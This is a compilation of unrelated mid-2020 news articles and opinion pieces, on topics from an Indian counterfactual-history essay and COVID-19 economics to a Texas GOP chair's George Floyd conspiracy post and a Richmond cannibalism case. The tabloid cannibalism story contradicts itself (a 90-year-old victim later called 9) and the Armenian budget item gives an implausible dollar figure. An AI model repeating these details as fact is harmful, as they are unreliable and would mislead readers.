Except that the Hindus did not. Rather than create a Hindu mirror-image of Muslim Pakistan, Gandhiji held out for a secular country where Hindus and Muslims (and other religious minorities) had the same rights. Though many Muslims left for Pakistan (leading to terrible riots and massacres on both sides), many millions of Muslims chose to stay in India. Some were too poor to move. But many made a conscious decision to stay on in a secular India, believing Gandhijis assurances that they would not be second class citizens in a Hindu-majority country.

But just suppose that Gandhiji had lost the argument and the views of Savarkar and the Hindu Mahasabha and the RSS had prevailed. Suppose India had become a Hindu rashtra. What would history have been like?

I dont know of anyone who has explored this theme in literature so it is largely a virgin territory but it would lend itself magnificently to fiction.

Here are some of the things any author would have to consider:

 What would Partition have been like? We know how horrific the situation was in 1947. But suppose we had declared that we were a Hindu homeland. Wouldnt millions more Muslims from all over India have joined the exodus? Wouldnt hundreds of thousands more have been killed in that already bloody migration?

Would we ever have had a claim to Kashmir? The British said that Partition was based on religion. Muslim majority areas would go to Pakistan. We hung on to Kashmir because we argued that ours was a secular country. What did it matter which religion was in a majority?

If we were a Hindu rashtra, we could never have made that argument. Kashmir (the valley, at least) would have gone automatically to Pakistan.

What kind of government would we have had? Many people have forgotten this but pre-1947 India was not the monolith it is today. The British empire ruled it but large swathes were run by maharajas (under the suzerainty of the Crown). In 1947, Sardar Patel and VP Menon persuaded these maharajas to hand over their powers to create the India we know today.

Would a RSS-Mahasabha-type regime have insisted on that? At least some of these maharajas were sympathetic to the Hindutva cause. Would they have been allowed to keep some measure of authority?

 Would we have followed a radically different ideology? It is no secret that some important leaders of the RSS admired what Hitler and the Nazis were doing in Germany. There is no shortage of admiring quotes about Nazi Germany from such RSS leaders as Golwalkar.

Would their Hindu Rashtra have been anything like Germany with its totalitarian policies and its refusal to recognize the rights of the individual rather than the liberal American-British ethos that the framers of our Constitution instinctively chose?

Would minorities have been second class citizens in a Hindu Rashtra? There are always minorities, even in one-religion states. There are still Hindus and Christians in Pakistan. In 1971, many of the refugees who flowed into India from East Pakistan were Hindus who had suffered terribly at the hands of the Pakistan army.

What would have happened to those Muslims who had stayed behind? And what about Indias other minorities?

 What about the North East? We forget now that in the 1950s, the Nagas staged an armed insurrection against India. They said they were a distinct people with nothing (race, language or religion) in common with India. Our government blamed the rebellion on Christian missionaries (the majority of the Nagas had been converted by the Baptist church) and said that India was a nation composed of many ethnicities and religions so the fact that they were Christians was irrelevant. (We also sent the army in.)

In the 1960s, the Mizos (also Christians), declared their independence from India. This led the government to order the Indian Air Force to attack Aizawl, the religions most important city, perhaps the only time the IAF has been used against an Indian city.

The world sided with India (with some exceptions) and eventually the Nagas and the Mizos renounced their claims to sovereignty and accepted that they were Indians.

Would they have been so willing to do that or to accept the governments guarantees of religious freedom if they were dealing with a Hindu Rashtra?

 What about the Sikhs? Till the early 1980s, most Hindus regarded the Sikhs rather as Hindus still regard Jains, as part of a religion closely aligned to Hinduism.

The troubles of the 1980s changed that. That was when many Sikhs began claiming no connection with Hinduism. They were monotheistic, some said, and therefore had much more in common with Islam. There was horrific violence against Hindus. In at least one incident, a bus was stopped, the Sikh and the Hindu passengers separated and the Hindus shot.

Despite many missteps by the Indira Gandhi regime, the problem eventually died down and though Pakistan keeps trying to revive it, Sikhs living in India treat that phase as a nightmare. (Some NRI Sikhsin Canada, especially  still hark back to those days.)

Would the Sikh troubles have been resolved if the Sikhs were dealing with a Hindu Rashtra and not a secular country?

 What would happen to caste? Gandhiji was resolutely opposed to caste and made a special effort to draw attention to those he called Harijans  (todays dalits). There was no similar strand in the pre-1947 Hindu nationalist movements.

Most notable Hindutva-type leaders were Brahmins (BP Hegdewar, Veer Savarkar, MS Golwalkar, etc.) and the RSS was dominated by Maharashtrian Brahmins. (To be fair, there were plenty of Brahmins in the Congress too, though of the three great leaders, neither Gandhiji and Sardar Patel were Brahmins; only Jawaharlal Nehru was one.)

It does not automatically follow that the RSS leaders were all casteist but it is easy to see why they could easily have been portrayed that way. Caste still plagues India but would it have been a source of greater conflict in a Hindu rashtra?

Wheres the book? The more I think about it, the more questions there are about the kind of India a Hindu Rashtra would have been. And whether a Hindu Rashtra would have been able to hold India together in the crucial decades after Partition.

It is impossible to say whether it would have been better or worse than what really happened.

But it would make for a fascinating book (or a series of books). If only somebody in India had the imagination to write what if? fiction as they do in America and Europe!

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Metro Manila (CNN Philippines, June 5)  The government is to blame for the millions of job losses in April, labor groups said Friday.

The Philippine Statistics Authority reported an all-time high of 7.3 million jobless Filipinos, adding 5 million from January's unemployment tally as most parts of the country went on lockdown due to the COVID-19 pandemic.

On top of that, 13 million Filipinos said they remained employed but were not at work as a result of movement restrictions. Transportation has been barred and most establishments  except "essential" services like groceries, banks, and food production  were not allowed to operate during the strict lockdown period.

The Association of Labor UnionsTrade Union Congress of the Philippines said that "inept" state policies made it harder for employees to make a living during the lockdown.

The group denounced the government's decision to let companies reduce wages and employee benefits, as well as suspend labor litigations that guard against abusive employers. The sustained collection of rent for homes and commercial space also forced firms to lay off workers, they added.

"Employers already possessed prerogative to resort to flexible work arrangements such as shortened work hours, rotation, etc. to avoid shutdown. Bawas na nga ang working hours, bababwasan pa ang sweldo at benefits? [Working hours have been reduced, why did they also let salaries and benefits be slashed?]," ALU Spokesperson Alan Tanjusay said in a statement.

Strict stay-at-home rules in place forced most business operations to shut down. Those who can work from home were allowed to, but casual workers were forced to a "no work, no pay" scheme since mid-March.

ALU-TUCP also hit the Department of Transportation for "ineptitude," saying that inadequate public transportation has caused lost job opportunities and wage deductions, adding stress to workers. Public transport has been shut down when Metro Manila and other areas were put on lockdowns, only resuming at limited capacity this June.

Separately, the Kilusang Mayo Uno slammed the "militarized" response to the pandemic, which they said is captured by Malacanang's fixation to pass a new Anti-Terrorism Act meant to quell calls for better public policies and services.

"The regime, much like its handling of the COVID-19 response, uses the same tactic of militarism to respond to the unemployment crisis. It shows no urgency to stop the spread of the disease by conducting mass testing and no urgency to provide relief and create jobs for the people," KMU chairperson Elmer Labog said.

Labog said authorities should focus on providing additional financial aid and wage subsidies for small firms, as well as the creation of jobs in crucial industries like medical supplies and agriculture. The Department of Finance has rolled out a 51-billion fund which seeks to provide wages for small business employees during the lockdown period.

For its part, the Labor Department said the job losses were as expected, even surpassing layoffs during the 1998 Asian Financial Crisis. Labor Assistant Secretary Dominique Tutay said they were foreseeing at least 5 million to 10 million Filipinos unemployed this year, compounded by the impact of returning overseas Filipino workers who were also displaced from better-paying jobs abroad.

"As the economy opens gradually, we are hopeful that the labor market will also recover," Secretary Silvestre Bello III said.

Tutay also told CNN Philippines' Balitaan that the government is coordinating with companies looking to hire more workers. So far, an electronics firm in Laguna and a business process outsourcing firm needing call center agents and nurses have reached out to the agency as they hope to hire thousands of personnel.

The Department of Finance earlier proposed to hire displaced employees as contact tracers who will help track down probable COVID-19 patients. However, the Department of Finance said these personnel must have certain skills in order to fulfill the task at hand.

RELATED: Gov't may need up to 11 billion in plan to hire 136,000 contact tracers
By PTI

NEW DELHI: The Supreme Court Friday asked private hospitals whether they are ready to provide treatment to COVID-19 infected patients at the charges prescribed under the government's Ayushman Bharat Scheme.

The 'Ayushman Bharat-Pradhan Mantri Jan Arogya Yojana' is aimed at providing health cover to poor and vulnerable persons in the country.

A bench headed by Chief Justice S A Bobde said the apex court is not asking all the private hospitals to treat a certain number of COVID-19 patients for free.

The bench, also comprising Justices A S Bopanna and Hrishikesh Roy, said it is asking only those private hospitals which have been given land at concessional rates by the government to treat certain number of coronavirus infected patients for free.

"I just want to know if hospitals are ready to charge at Ayushman rates?," the CJI observed during the hearing which was conducted through video-conferencing.

Solicitor General Tushar Mehta, appearing for the Centre, told the bench that government is doing its best for the lowest strata of the society and people who cannot afford treatment are covered under the Ayushman Bharat scheme.

The top court, which posted the matter two weeks from now, was hearing a plea seeking a direction for regulating the cost of treatment of COVID-19 at private hospitals across the country.
[June 05, 2020] Spirent Collaborates with Rakuten Mobile on Core Network Testing

Spirent Communications plc (LSE:SPT), a leading provider of test, assurance, and analytics solutions for next-generation devices and networks, today announced its extensive work with Rakuten Mobile, Inc. in support of the operator's current LTE (News - Alert) services, planned 5G Non-Standalone (NSA) and Standalone (SA) rollout in Japan for its world-first fully virtualized cloud native mobile network. Rakuten Mobile required groundbreaking testing capabilities to assure the performance of new services and selected Spirent Landslide for core network testing. With LTE services now live and deployment of its 5G NSA network planned for later in the year, Spirent (News - Alert) will work with Rakuten Mobile to ensure a solid customer experience. "We are excited to collaborate with Spirent for core network testing," said Tareq Amin, representative director, executive vice president and CTO of Rakuten Mobile. "Given their extensive in-region and global MNO/MVNO experience, advanced methodologies for testing fully-virtualized networks and ability to serve in a consultative role, we are confident that our collaboration will allow us to offer innovative and exciting next generation mobile services to Rakuten Mobile customers." Spirent's work with Rakuten Mobile has been defined by the use of advanced automation processes that expedite testing, including for complex 5G NSA andSA testing scenarios.



"Rakuten Mobile are market trendsetters and Spirent is proud to leverage our depth of experience and advanced testing solutions portfolio to ensure Japan's newest operator can focus on achieving its vision for offering comprehensive communications services that combine a simple service plan and cutting-edge technologies," said Spirent's country manager for Japan, Akihiro Nakamura. "We look forward to working alongside the company as subscribers take advantage of its new services and new deployment targets are set." As new services are tested for deployment to subscribers, Rakuten Mobile is also using the Spirent iTest network automation and verification solution for regression testing to speed validation timeframes, allowing Rakuten Mobile's engineering teams to remain focused on new service creation for subscribers.

"Spirent has played an integral role in our network test planning, validation and deployment," said Mitsuhiro Kuchitsu, section manager of Rakuten's Network Division Innovation Lab. "Having a strong partner we can trust to support our visionary efforts remains an invaluable asset as we move forward on 5G testing using Landslide." In Japan, Spirent's efforts are enhanced via the company's long-term partner, Toyo Corporation, which provides additional valuable technical support services. About Spirent Spirent Communications (News - Alert) plc. (LSE: SPT) offers test, measurement, analytics and assurance solutions for next-generation devices and networks. The company provides products, services and information for high-speed Ethernet, positioning and mobile network infrastructure markets, with expanding focus on service assurance, cybersecurity and 5G. Spirent is accelerating the transition of connected devices, network equipment and applications from development labs to the operational network, as it continues to innovate toward fully-automated testing and autonomous service assurance solutions. For more information, please visit www.spirent.com and follow us on LinkedIn, Twitter and Facebook. # # # View source version on businesswire.com: https://www.businesswire.com/news/home/20200605005217/en/

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WYOMING, MI -- Two people were shot in what police say stemmed from some type of argument along Colrain Street SW.

The shooting happened about 7:30 p.m. Thursday, June 4 in the 1100 block of Colrain Street.

Wyoming police said witnesses reported seeing an argument in a parking lot and then there were gunshots exchanged. Police were investigating a parking lot at Lifeline Community Church along Colrain.

Police said one victim ran from the scene and stopped on nearby Canterbury Street. The person was taken to a hospital from that location and reportedly was shot in a leg.

The other wounded person showed up at a hospital.

Police said the condition of the wounded people is not known.

More on MLive:

John Ball Zoo to reopen to public June 8

Grand Rapids Public Library reopening in phases beginning June 8

How one Grand Rapids restaurant owner used Facebook to track down rioters

DNR announces official opening dates for campgrounds, harbors
Days after removing two popular and trending apps - Remove China Apps and Mitron - Google India has clarified the reason behind this decision. The company has updated its blog - the official news and notes blog from Google India. The blogpost titled 'Clarifying Recent App Decisions on Play' written by Sameer Samat, Vice President, Android and Google Play, says: "A number of recent app removals received particular attention in India and we wanted to clarify our actions."

The post highlights that Google Play was designed to provide a safe and secure experience for consumers while also giving developers the platform and tools they need to build sustainable businesses. Play Store's global policies were designed with that goal in mind.

Also read: Mitron, India's so-called 'TikTok', banned from Google Play store over privacy issues

Samat writes, "Earlier this week, we removed a video app for a number of technical policy violations. We have an established process of working with developers to help them fix issues and resubmit their apps. We've given this developer some guidance and once they've addressed the issue the app can go back up on Play." This refers to the Mitron app - which has been a popular TikTok alternative. The app with over 5 million downloads was removed from Google Play store earlier this week.

Even Remove China Apps, that was the top trending free application on the Play Store, was suspended. Samat writes, "We also recently suspended a number of apps for violating the policy that we don't allow an app that "encourages or incentivises users into removing or disabling third-party apps or modifying device settings or features unless it is part of a verifiable security service".

This is a longstanding rule designed to ensure a healthy and competitive environment where developers can succeed based upon design and innovation. When apps are allowed to specifically target other apps, it can lead to behaviour that we believe is not in the best interest of our community of developers and consumers. We've enforced this policy against other apps in many countries consistently in the past - just as we did here."

Google India hopes that this will help clarify the rationale behind these recent actions.

Also read: After Mitron app, Google removes 'Remove China Apps' from Play Store
The police recently arrested a Richmond man who was caught in a gruesome and grisly act of cannibalizing the flesh of his 90-year-old grandmother, as reported by San Francisco Chronicle.

On Monday, a 37-year-old man was arrested after he had cannibalized his grandmother. What the police thought was a routine call for the usual homicide was more than they bargained for.

Coming to the scene of the crime that was straight out of a Hannibal Lecter scene, they say the Richmond man was eating human flesh like it was normal.

When they encountered the macabre scene on Monday afternoon, it took them by surprise not expecting it to be one of the goriest crime scenes they may have encountered, for most of the arresting officers.

The entree of the day, grandmother's flesh

On that Monday, the officer on watch was about to experience something straight from a horror film, but for them, it might be one of the most gristle and gore in their entire career in law enforcement.

Authorities got a 911 call at exactly 2 p.m. When they arrived at the scene of the crime, they caught 37-year-old Dwayne Wallick, who was intent on feasting on the flesh of his 9-year-old victim, as confirmed by Crazy America.

The scene was at 1200 block of Club Court, a quiet residential part of the Bay Area city where the victim and her grandson lives.

The old woman was killed and eaten by her grandson for reasons unknown and what made it worse is why he did the grisly and ghoulish act of ripping his grandma's flesh, then eating her like a mad cannibal.

Also read: Couple Who Starved Foster Kids, Left Dead Body of a Girl in Basement, Also Hid Skeletal Remains of Their Own Son

Dwayne Wallick was seen close to his grandmothers body by the authorities and ripping the old woman's flesh like a madman.

Seen by homicide Sgt. Aaron Pomeroy of Richmond, the grandson was acting deranged and insane when the police saw him murdering her.

Officers tried to stop Wallick from eating his grandmother, but he would not stop which forced the officers to taser him from his ghoulish actions, according to ABC 7 News.

But the grandson was too deranged to stop the gruesome act he was committing. It took four officers to handcuff him. If the officers were thinking of rescuing the old woman, it was too late and Ruby Wallick, 90-years-old was too dead, and torn to shreds, based on reports by Mercury News.

The cannibal grandson

According to the police, it was the first time they encountered 37-year-old Dwayne Wallick, after subduing him in the scuffle, he was examined at the hospital and evaluated. The suspect stayed there till Tuesday to treat injuries.

Authorities reveal after getting treated at the hospital and when he can leave. The suspected murderer will be sent to the Contra Costa County Jail, to face several charges that include murder.

Sgt. Aaron Pomeroy announced that the grandmother Ruby Wallick was dead when they arrived on the scene of the crime. He added that the suspect was sent for medical treatment, not psychiatric help because he had no prior record according to the officer.

About the death of Ruby Wallick, that will be examined by the medical examiner in Costa Contra. The suspected cannibal 'Dwayne Wallick' will be placed in jail, with the cases filed by the DA's office.

Related article: Skeletal Remains of Girl Discovered in Feces-Filled Basement Along With Her Brother in Dismal Condition

@ 2022 HNGN, All rights reserved. Do not reproduce without permission.
Making plans: Bank of England boss Andrew Bailey

The Bank of England looks likely to ramp up its money-printing programme to almost 1trillion over the next year, experts are predicting.

The Bank's Monetary Policy Committee (MPC) is expected to add another 100billion to the so-called quantitative easing (QE) stimulus package when it meets this month.

But that won't be the end of it, according to analysts at Capital Economics, who expect the Bank to spend 350billion on QE in total at intervals over the next 12 months.

That would take its programme to 995billion, almost half the size of the UK economy. QE involves the Bank buying government and corporate debt, effectively creating money which is injected back into the economy.

As the UK faces its worst recession for 300 years due to the coronavirus crisis, the Bank has already increased its bond-buying programme by 200billion. And yesterday the European Central Bank bumped its equivalent scheme by another 600billion, to 1.35trillion.

The Bank of England's concerns over the state of the economy were evident in a letter sent by Sam Woods, chief executive of the its regulatory arm, to UK lenders yesterday.

He told the chief executives of all the banks that he would be collecting data from all of them  ahead of their second-quarter earnings announcements  on the losses they were expecting to book due to loans turning sour.

The Bank fears loan losses could reach 80billion. And the Office for Budget Responsibility (OBR) warned that hundreds of thousands of loans which banks are handing out under Government-backed coronavirus aid schemes will never be repaid  costing the taxpayer 5billion this year alone.

In another sign the Bank is on high alert, deputy governor Sir Jon Cunliffe wrote to so-called financial market infrastructure firms  such as payment processors Visa and the London Stock Exchange's clearing house  warning they must not pay any dividends to investors without the sums first being cleared by officials.

The Bank has already ordered major banks not to pay dividends, so they can hold on to cash to help support their customers through the economic slump.

And in a speech given at a Bloomberg event, the Bank's executive director of markets Andrew Hauser revealed its emergency response to the coronavirus crisis was being drawn up as Mark Carney was handing over the governor's role to Andrew Bailey.

The two governors were hammering out the Bank's response 'with the removal vans waiting outside', he said.

Since most of the staff have been working from home during lockdown, he added, they are making more than 12,000 audio and video calls every day.
The head of the Bexar County Republican Party has put forth some extreme positions during her time in office, but when she suggested that George Floyds death might have been staged by Democrats to hurt President Donald Trump  that was it.

Republican Gov. Greg Abbott himself led the charge against Cynthia Brehm on Thursday, demanding she resign immediately. He was joined by the states other top Republicans: U.S. Sens. John Cornyn and Ted Cruz; and Lt. Gov. Dan Patrick, among others.

With protests over Floyds death continuing to draw thousands into the streets of Texas cities, sometimes turning into violent clashes with police, Brehms Facebook post was political dynamite that had to be defused.

Floyd died after a Minneapolis police officer knelt on his neck for nine minutes; the officer was fired and has since been charged with murder in Floyds death.

State party leaders had little to say about Brehms remarks two weeks ago at a rally that the novel coronavirus was a hoax promulgated by the Democrats to undo all of the good that President Trump has done for our country.

And they had nothing to say earlier this year when she accused the Bexar County Elections Department of tampering with ballots  providing no specifics or evidence  in the March primaries.

But claiming a faked Floyd death couldnt be ignored.

Not over yet

The trouble isnt over for the Republican Party yet; Brehm refuses to resign.

No, Im not going to do that. I have constitutional rights, which is freedom of speech, Brehm said, accusing the top Republicans of attacking a leader in their own party amid the pent-up frustrations people are feeling from the pandemic, economic strife and civil unrest related to Floyds death.

They couldve handled that better and said, You know what? We have free speech in this country. I dont agree with that, but you should go talk to her,  Brehm said. But instead they cut at the jugular. Im not going to resign.

Brehms Facebook post, which has been deleted, was entitled: George Floyd  A Staged Event?

I think there is at the very least the possibility that this was a filmed public execution of a black man by a white cop, with the purpose of creating racial tensions and driving a wedge in the growing group of anti-deep state sentiment from common people, that have already been psychologically traumatized by COVID-19 fears, Brehm wrote in the post.

Abbotts communications director John Wittman called the comments disgusting and said they have no place in the Republican Party.

Cynthia Brehm should immediately resign her position as chair of the Bexar County Republican Party, Wittman said.

TEXAS TAKE: Get political headlines from across the state sent directly to your inbox

Brehm said the post, and her comments about the COVID-19 pandemic at the rally were taken out of context.

She also said the Facebook post was done as a favor to a journalist friend.

Brehm said she had talked on the phone a few nights earlier to Gigi Hughes, publisher and owner of the San Antonio Herald, an African American newspaper on the East Side. Hughes told her about a conspiracy theory circulating among black publications nationwide. Brehm said she didnt believe it, but posted it Tuesday, for the other side of the view.

Her post began, Tell me what you think: Subject: George Floyd - A Staged Event?

Its a question. Its not a claim. I didnt say it was a hoax. But its being spun that way, and thats not right, she said Thursday.

Brehem noted that Express-News columnist Gilbert Garcia posted a screenshot of her message Wednesday/ She said that all of his haters around the country descended on me, so she removed her post later that day.

But the screenshot remained on Facebook.

On ExpressNews.com: Party chairwoman said she was assaulted, is not a brawler

On Wednesday night, U.S. Rep Chip Roy, an Austin Republican whose district includes San Antonio, took to Twitter saying Brehm should resign if she did post the message.

The states lieutenant governor agreed.

Cynthia Brehm must resign now, today, Patrick said. There is no excuse for this outrageous, ignorant racist message made worse by using her position as a local party leader to spread it.

Republican Party of Texas chairman James Dickey said hes personally reached out to Brehm and called on her to resign immediately.

Brehm said she made a mistake, but has no intention of resigning.

We all live and learn through mistakes and so I wont be making that mistake again, she said. I posted that for Gigi. Yeah, in hindsight, I shouldnt have done it. But shes my friend and she wanted me to do it.

Hughes tells a different story.

She said she mentioned the conspiracy idea to Brehm during a conversation about a lot of stuff, including the upcoming state GOP convention next month in Houston, but never asked her to post about the weird conspiracy theory on social media.

Im well know on the East Side. Why would I use her to post it? For what? said Hughes, a former Democratic who now is a Republican and Trump supporter.

Their discussion on the rumors about the controversial video of Floyds death was just an FYI conversation, she said.

Hughes was shocked to learn Brehms post had prompted a demand from the governor that she resign, especially after the party chair had survived the recent controversy concerning the remarks about the novel coronavirus conspiracy.

I thought the COVID thing was going to take her out, Hughes said.

At the rally, after making her coronavirus comments, she urged supporters to ignore the recommendations of health and city officials.

So, take off your masks, exercise your constitutional rights, she said at the rally. Stand up, speak up, and vote Republican.

On ExpressNews.com: Republican Party Chair Brehm denounces novel coronavirus as Democratic hoax

Those remarks came even as Abbott, too, has recommended Texans wear masks and warned again this week that COVID-19 hasnt left the state and is still a threat.

Brehm has since said she doesnt believe COVID-19 is a fake crisis. But she maintains that the public response is an overreaction.

We have a 0.05 percent chance of getting the coronavirus, she said. We know that its real. But because we know that its real, I think that its been taken advantage of, its really been blown out of proportion. And I believe its become politicized. And its wrong. We need to come together as a country, and we need to take care of each other.

Brehm, the countys party chair since 2018, is in a re-election battle with real estate appraiser John Austin in a July 14 GOP runoff. Her past controversies also include a refusal in the fall to sign documents for a joint Democratic-Republican Party primary in March, potentially forcing the county GOP to stage its own election. She later relented and signed the papers.

In December 2019, Brehm had an altercation with long-time Republican activist Monica Rojas Stone that resulted in each having police reports filed accusing the other of assault.

Political consultant Laura Barberena said she first dealt with Brehm while working for Manny Pelaez, who defeated Brehm in a June 2017 runoff for City Council, to fill a seat left open by Mayor Ron Nirenberg.

Brehm was involved in an altercation with Pelaezs parents, and she raised eyebrows during her campaign by promising to advocate for giant tarps to be placed at traffic accident scenes, to prevent motorists from rubbernecking, Barberena recalled.

On ExpressNews.com: Discord erupts over March primaries in Bexar County

She said the GOP and its voters can blame themselves for the embarrassment over Brehms outlandish comments and brushes with controversy.

Theyve created this space for these type of candidates to not only be elected but then to thrive, Barberena said. Not until they actually go to such an absolutely crazy extreme that its like, Oh, we need to get rid of her.

shuddleston@express-news.net | Twitter: @shuddlestonSA
Saudi Arabia has reinstated a 15-day curfew in the city of Jeddah beginning tomorrow, from 3 p.m. to 6 a.m., the state-run SPA news agency reported.

In addition to the curfew, the Saudi government reimposed several other restrictions on the Red Sea city. Citing an official with the Interior Ministry, SPA reported prayers in mosques, dining in restaurants and in-person attendance at workplaces are suspended for the next two weeks. Gatherings of more than five people are also banned.

The country began easing restrictions in late April to coincide with the Muslim holy month of Ramadan. As cases surged in May, the kingdom introduced a 24-hour curfew during the five-day Eid al-Fitr holiday.

On Friday, the Health Ministry acknowledged 2,591 new coronavirus cases and 31 more deaths, bringing the total number of infections to 95,748 and the death toll to 642.

Saudi Health Ministry spokesman Dr. Mohammed Al-Abd Al-Aly said Tuesday he had seen an alarming rise in the number of critical COVID-19 patients in recent days. Those patients were mostly elderly or had chronic illnesses and tended to be from Jeddah or the capital Riyadh.

We should take a moment to reflect on our behavior and how it may affect the health of our mothers and fathers and our loved ones surrounding us, Al-Aly said.

To further prevent the spread of the virus, the country's Interior Ministry announced hefty fines for quarantine violators in early May and the formation of a special police unit to enforce the new regulations.
The Murder of African-American George Floyd in the US, and What Cuba Can Learn from It What would happen on the island in a similar scenario? DIARIO DE CUBA asked four Cuban activists for their opinions.

The murder of African-American George Floyd by a white police officer in the United States, and the subsequent protests to demand justice, have captured the attention of Cuba's state media, until now focused almost exclusively on Covid-19.

In Cuba anti-racist activist Marthadela Tamayo and rapper/activist Osvaldo Navarro both pointed out how Cuba's official media have taken advantage of the news to criticize the US government and racial discrimination in the neighboring country.

According to Navarro, George Floyd's murder is "another element in the Cuban government's propaganda mix," which avoids any recognition of the legality of human rights groups, and the right to carry out peaceful protests, in the United States, both non-existent in Cuba.

Political scientist Manuel Cuesta Morua observed that, initially, the media concentrated on exploiting the issue of racism in the United States and stressing that the police there are racist, but then coverage began to drop. "Theyre avoiding the issue of racism in Cuba, but the issue is being raised on social media."

"The Cuban government now not only has to defend its stances on the issues, but also must grapple with the opinions of Cubans on the internal situation. And this always generates comparisons. They have striven to portray the ugly face of racism in the US, but have not covered the police who have supported or even joined in the protests in many US cities," he explained.

As an anti-racist activist, Navarro has been following the opinions of people in Cuba on the events in the US. Many dismiss the protests as acts of vandalism. He believes that these opinions are based on ignorance of what Afro-descendants suffer in the United States, and that Cubans should also learn to demand their rights.

He also blames this ignorance for various contentions that Floyd's murder was not motivated by racism, but rather was a result of the officer's agitation. According to some, he "was only doing his job".

Cuesta Morua, meanwhile, observes that, with regards to racism, the average Cuban's perspective on what is happening in the United States and what the Cuban Government thinks, overlap, to a large extent. In this respect he believes that the Cuban government's doctrine has been successful. Although thanks to social media, and the possibility of traveling many can see for themselves that not all Americans are racists, most people do not.

The coordinator of Candidates for Change (CxC), Juan Moreno, condemns the murder of George Floyd, but describes the protests that ensued in the United States as riots rather than protests.

"Protests were what African-American groups did during the time of Martin Luther King, demonstrating consistent and civic conduct. What we are seeing are riots and vandalism fomented by factions on the left, and nobody knows exactly who's behind them. There are statistics that, in the last ten years, more than 1,600 police officers have been killed in the United States, and more than 70% have been white officers, at the hands of African-Americans."

Although Moreno describes the police's actions in Cuba as "repressive", he thinks it transcends skin color.

"The Cuban Police and the Army, which have taken to the streets (with the pretext of the coronavirus), repress Cubans savagely, regardless of their race."

Marthadela Tamayo and Osvaldo Navarro disagree, believing that the Cuban Police do make racist distinctions.

"In Cuba there is a lot of repression against people of African descent," says Tamayo. "The people who live in the settlements, and have suffered pressure from the Police, to evict them, are mostly Afro-descendants. The two girls allegedly abused by police are Afro-descendants. As for the political violence suffered by activists and defenders of Afro-descendants' human rights, it is also very much marked by racism," she says.

Both she and Navarro and Cuesta Morua point out that most of the people punished in the recent show trials broadcast on state television, without due process, were black.

In Cuesta Murua's opinion, Cubans are aware that most victims of police repression are blacks and mestizos.

"The majority of the people know that prisons are more populated by black and mestizo people. Most of those imprisoned for constituting 'social hazards' are black. What we see in Cuba is a blaming of the victim: blacks are singled out as guilty of creating their own situations. Racism is not understood from a structural perspective, but people know that blacks are the police's scapegoats in this country," he explains.

He also disagrees with those who have described Cuban police officers as "restrained" on the networks, when comparing their behavior with that of United States police officers. This is not the reality of Cuban police's conduct in recent times, visible on Facebook and other social networks he says, finding this type of comparison dangerous, a common tactic of the Cuban Government to downplay repression.

In this regard, Navarro points out that "restrained" police would hardly cooperate in the imprisonment of peaceful activists, and recalls that the Cuban Police are called the PNR: National Revolutionary Police, serving the interests of the Communist Party.

"If there were a scenario of mass protests in Cuba, I can assure you that the police, the military and the black berets would be out there beating people left and right, doing whatever was necessary to crush the protests, as happens in other parts of the world," he says.

Cuesta Morua takes away three key lessons for Cubans from has happened in the US:

"First, Cubans are seeing that the police in the United States behave exactly like the police in Cuba. Second, the value of publicizing dramatic and traumatic events like this. People have learned that social media and the public communication of events of this nature can raise awareness. People are already saying that we have to film and upload everything. What this incident demonstrates is not so much that racism in the United States persists, but that everyone has a digital camera. Third, governments have a lot to do with the difficulties, shortcomings and situations related to discrimination in countries."

"The Cuban government has always said that racism here is a phenomenon inherited from when Cuban was a colony. But people are beginning to realize that a lot depends on what governments do or don't do to solve these problems."
Source: Xinhua| 2020-06-05 22:18:46|Editor: huaxia

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NAIROBI, June 5 (Xinhua) -- Some small-scale coffee farmers in Kenya have started processing their coffee to protect the quality, aiming to get a share of the lucrative premium export market where quality coffee beans fetch a premium price.

Data from the Nairobi Coffee Exchange shows that top quality coffee known as AA grade fetched up to 45,326 shillings (about 427 U.S. dollars) per 50-kg bag compared to a price of 199 dollars fetched by the majority of the coffee during the auction that ended on May 24th.

Samuel Muchiri, 44, a farmer in Kirinyaga County in central Kenya is among small-scale farmers who have embraced home-based processing to avoid mixing their coffee with the rest of farmers in order to maintain quality and therefore get a better price.

"Coffee has money. But it needs to be of high-quality coffee. That is why I decided to do home processing to ensure I maintain high quality," Muchiri told Xinhua on Friday at his farm.

When the coffee is processed at home, it is then taken to a miller where it is also milled separately and then graded ready for auction in the capital Nairobi or direct export.

Traditionally in Kenya, green harvested coffee is taken to a common processing factory owned by farmers where different grades are mixed.

Although grading happens later when the coffee is milled, the final payment is usually an average of the price fetched by all the grades, meaning that those farmers who have to take care of their coffee to get a better grade are not rewarded.

According to Muchiri, processing his coffee at home has enabled him to earn at least double and sometimes triple the amount of money earned by other farmers who sell through the cooperative societies.

"My coffee goes to the market as organically grown and therefore specialty coffee, which fetches a premium," he said.

Gichuki Wambari, 54, from Nyeri County also in central Kenya, said he invested some 1,000 dollars in machinery to process his coffee.

"The pay from home processed coffee is better than processing and selling collectively," he said.

He said although he is yet to establish a stable market for his coffee which he processes and then outsources the milling services, he is realizing better returns.

Home processing is part of the ongoing formal and informal reforms taking place in the coffee industry which was once Kenya's largest foreign exchange earner.

President Uhuru Kenyatta appointed a committee to advise and steer reforms in the industry in 2016. The final report from the committee will be ready in July, said its head, Joseph Kieyah.

Kenya's ministry of agriculture has also been pursuing new markets for coffee in China and the Middle East to reduce dependency on the traditional European market. Enditem
YEREVAN, JUNE 5, ARMENPRESS. The Armenian government is going to finance the 2020 state budgets envisaged deficit both from external and domestic sources. There is already an agreement with the International Monetary Fund (IMF) over a certain sums of money, the rest is expected to be funded at the expense of domestic sources, Finance Minister Atom Janjughazyan said during the joint session of the parliamentary standing committees.

The minister reminded that due to the current novel coronavirus crisis they have proposed the Parliament to fix nearly 324 billion drams instead of the envisaged 162 billion drams in deficit. According to the data published in April it is expected that the global economic decline will be nearly 3.5%. For the EU, around 7.5% decline is forecast, for Russia  5.5%. And this supposedly will also have an impact on our forecasts of this year. And under the conditions of these 324 billion drams in deficit we assessed that we need additional 260 billion drams for implementing the anti-crisis measures, the minister said.

There is already an agreement with the IMF, the sums to be attracted will be used for meeting the needs of the state budget. A total of 280 billion USD is already available. But the 35 million USD will be available based on the results of the revision of the second program expected in autumn. Its expected we will finance the difference by issuing additional state debt in the domestic market, the minister added. We believe that the trust is quite deep, and our cooperation with the local investors has a history of already decades. Within this framework we expect that it would be possible to finance the difference by issuing a debt from the domestic sources, the minister said, adding that they also consider other sources, through other international financial organizations.

Minister Janjughazyan assured that the current rating allows to think also of issuing Eurobonds in the international financial market.

Reporting by Anna Grigoryan; Editing and Translating by Aneta Harutyunyan
